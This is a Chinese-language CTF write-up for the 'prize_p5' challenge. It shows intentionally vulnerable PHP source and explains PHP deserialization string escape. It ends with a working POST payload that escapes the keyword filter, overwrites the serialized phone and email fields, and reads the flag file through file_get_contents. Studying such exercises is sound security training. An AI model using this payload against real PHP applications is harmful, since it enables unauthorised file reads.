prize_p5

先看源码

<?php

error_reporting(0);



class catalogue{

    public $class;

    public $data;

    public function __construct()

    {

        $this->class = "error";

        $this->data = "hacker";

    }

    public function __destruct()

    {

        echo new $this->class($this->data);                //这里可以用php原生类

    }

}

class error{

    public function __construct($OTL)

    {

        $this->OTL = $OTL;

        echo ("hello ".$this->OTL);                     //可以触发__toString

    }

}

class escape{         



    public $name = 'OTL';                                                 

    public $phone = '123666';                                             

    public $email = 'sweet@OTL.com';                          

}

function abscond($string) {

    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');

    $filter = '/' . implode('|', $filter) . '/i';

    return preg_replace($filter, 'hacker', $string);        //关键字的过滤替换函数

}

if(isset($_GET['cata'])){

    if(!preg_match('/object/i',$_GET['cata'])){

        unserialize($_GET['cata']);                               //这里验证了一下,是序列化字符串也可以反序列化,最开始还以为那个正则是不让进行对象反序列化,结果就是单纯的匹配object字符

                                                               

    }

    else{

        $cc = new catalogue(); 

        unserialize(serialize($cc));           

    }    

    if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){

        if (preg_match("/flag/i",$_POST['email'])){                //对email字段有检验

            die("nonono,you can not do that!");

        }

        $abscond = new escape();

        $abscond->name = $_POST['name'];

        $abscond->phone = $_POST['phone'];

        $abscond->email = $_POST['email'];

        $abscond = serialize($abscond);

        $escape = get_object_vars(unserialize(abscond($abscond)));

        if(is_array($escape['phone'])){

        echo base64_encode(file_get_contents($escape['email']));    //这里应该是真正的利用点,用file_get_contents读flag

    

        }

        else{

            echo "I'm sorry to tell you that you are wrong";

        }

    }

}

else{

    highlight_file(__FILE__);

}

?>

这题中上面那一大坨类不是重点,重点在下面的反序列化过程,这题考察的试字符串逃逸,这里补充一下字符串逃逸的知识

PHP反序列化字符串逃逸

在这题中,字符串逃逸的方式为增长型,我们只需要控制name参数即可,我们需要做的就是让name中的字符串逃逸到phone和email,让原本的phone和email失效

最终构造出的payload

GET:
?cata=

POST:
name=NSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSSNSShellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}&phone=1&email=1